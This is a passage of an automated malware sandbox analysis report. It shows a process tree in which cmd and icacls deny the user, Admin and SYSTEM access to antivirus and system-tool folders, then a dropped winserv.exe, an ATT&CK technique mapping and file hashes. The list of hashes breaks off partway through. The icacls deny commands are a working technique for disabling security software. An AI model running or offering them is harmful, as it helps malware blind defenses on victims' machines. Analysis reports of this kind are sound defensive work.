                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\WavePad" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:324
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                            icacls "C:\ProgramData\WavePad" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                              PID:560
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\WavePad" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:5008
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                icacls "C:\ProgramData\WavePad" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                  PID:4940
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\RobotDemo" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                  PID:1540
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                    icacls "C:\ProgramData\RobotDemo" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                      PID:1084
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\RobotDemo" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:2900
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                        icacls "C:\ProgramData\RobotDemo" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                        PID:2084
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\PuzzleMedia" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:3928
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                          icacls "C:\ProgramData\PuzzleMedia" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                                          PID:3068
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\PuzzleMedia" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:2888
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                            icacls "C:\ProgramData\PuzzleMedia" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                              PID:3752
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:3156
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                icacls "C:\ProgramData\ESET" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                                                PID:3768
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:2268
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                  icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                    PID:2176
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\FingerPrint" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                    PID:3316
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                      icacls "C:\ProgramData\FingerPrint" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                      PID:4216
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\FingerPrint" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:4572
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                        icacls "C:\ProgramData\FingerPrint" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                          PID:3588
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\BookManager" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:1496
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                            icacls "C:\ProgramData\BookManager" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                              PID:2528
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\BookManager" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:2056
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                icacls "C:\ProgramData\BookManager" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                PID:4836
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                PID:484
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                  icacls "C:\Program Files (x86)\Panda Security" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                  PID:976
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\IObit\Advanced SystemCare" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                  PID:4412
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                    icacls "C:\Program Files (x86)\IObit\Advanced SystemCare" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                    PID:2636
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "c:\Program Files (x86)\IObit\IObit Malware Fighter" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                    PID:4120
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                      icacls "c:\Program Files (x86)\IObit\IObit Malware Fighter" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                      PID:1404
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "c:\Program Files (x86)\Transmission" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:2344
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                        icacls "c:\Program Files (x86)\Transmission" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                        PID:3396
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "c:\Program Files\Transmission" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                        PID:4944
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                          icacls "c:\Program Files\Transmission" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                          PID:2956
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Hacker 2" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:2596
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                            icacls "C:\Program Files\Process Hacker 2" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                            PID:244
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\princeton-produce" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                            PID:3596
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                              icacls "C:\ProgramData\princeton-produce" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                              PID:4056
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\EnigmaSoft" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                              PID:4608
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                icacls "C:\Program Files\EnigmaSoft" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                  PID:2760
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "c:\program files\SUPERAntiSpyware" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                  PID:4336
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                    icacls "c:\program files\SUPERAntiSpyware" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                    PID:3176
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\PROGRAM FILES\RogueKiller" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                    PID:2368
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                      icacls "C:\PROGRAM FILES\RogueKiller" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                      PID:3376
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Moo0" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:4800
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                        icacls "C:\Program Files (x86)\Moo0" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                        PID:4228
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpeedFan" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                        PID:4116
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                          icacls "C:\Program Files (x86)\SpeedFan" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1200
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GPU Temp" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                            PID:4972
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                              icacls "C:\Program Files (x86)\GPU Temp" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1604
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\CPUID\HWMonitor" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:3588
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                  icacls "C:\Program Files\CPUID\HWMonitor" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                  PID:2568
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\MSI\MSI Center" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:3764
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                    icacls "C:\Program Files (x86)\MSI\MSI Center" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                    PID:2396
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\QuickCPU" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:2552
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                      icacls "C:\Program Files\QuickCPU" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                      PID:4224
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "c:\program files\NETGATE" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:2512
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                        icacls "c:\program files\NETGATE" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                        PID:1620
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Users\Admin\AppData\Local\Programs\transmission /deny %username%:(OI)(CI)F
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1472
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                          icacls C:\Users\Admin\AppData\Local\Programs\transmission /deny Admin:(OI)(CI)F
                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                          PID:2164
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls C:\Users\Admin\AppData\Roaming\Sysfiles /deny %username%:(OI)(CI)F
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:3876
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                            icacls C:\Users\Admin\AppData\Roaming\Sysfiles /deny Admin:(OI)(CI)F
                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                            PID:460
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor /deny %username%:(OI)(CI)F
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:2188
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                              icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor /deny Admin:(OI)(CI)F
                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                              PID:3420
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Programdata\Install\Del3.bat
                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:3508
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                timeout 5
                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                PID:1600
                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\Windows Tasks Service\winserv.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                        PID:2760
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:988
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                          PID:3800

                                                                                                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                        Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                        Resource Development

                                                                                                                                                                                                                                                                                                                                                                        Initial Access

                                                                                                                                                                                                                                                                                                                                                                        Execution

                                                                                                                                                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                                                                                                                                                        Persistence

                                                                                                                                                                                                                                                                                                                                                                        Account Manipulation

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1098

                                                                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                                                                        Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1547.004

                                                                                                                                                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                        4
                                                                                                                                                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                                                                                                                                                        4
                                                                                                                                                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                                                                                                                                                        Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                        Account Manipulation

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1098

                                                                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                                                                        Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1547.004

                                                                                                                                                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                        4
                                                                                                                                                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                                                                                                                                                        4
                                                                                                                                                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                                                                                                                                                        Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                        File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1222

                                                                                                                                                                                                                                                                                                                                                                        Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                        4
                                                                                                                                                                                                                                                                                                                                                                        T1562

                                                                                                                                                                                                                                                                                                                                                                        Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1562.004

                                                                                                                                                                                                                                                                                                                                                                        Disable or Modify Tools

                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                        T1562.001

                                                                                                                                                                                                                                                                                                                                                                        Modify Registry

                                                                                                                                                                                                                                                                                                                                                                        5
                                                                                                                                                                                                                                                                                                                                                                        T1112

                                                                                                                                                                                                                                                                                                                                                                        Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1497

                                                                                                                                                                                                                                                                                                                                                                        Credential Access

                                                                                                                                                                                                                                                                                                                                                                        Discovery

                                                                                                                                                                                                                                                                                                                                                                        Query Registry

                                                                                                                                                                                                                                                                                                                                                                        4
                                                                                                                                                                                                                                                                                                                                                                        T1012

                                                                                                                                                                                                                                                                                                                                                                        System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                        4
                                                                                                                                                                                                                                                                                                                                                                        T1082

                                                                                                                                                                                                                                                                                                                                                                        Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1497

                                                                                                                                                                                                                                                                                                                                                                        Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                        Collection

                                                                                                                                                                                                                                                                                                                                                                        Command and Control

                                                                                                                                                                                                                                                                                                                                                                        Exfiltration

                                                                                                                                                                                                                                                                                                                                                                        Impact

                                                                                                                                                                                                                                                                                                                                                                        Service Stop

                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                        T1489

                                                                                                                                                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\Microsoft\win.exe
                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                          126.3MB

                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                          a8680bb1720aaf1e99752b02f082f58b

                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                          7a101fd5b60fd696302938b3b7fdd9ee6ace8ea2

                                                                                                                                                                                                                                                                                                                                                                          SHA256

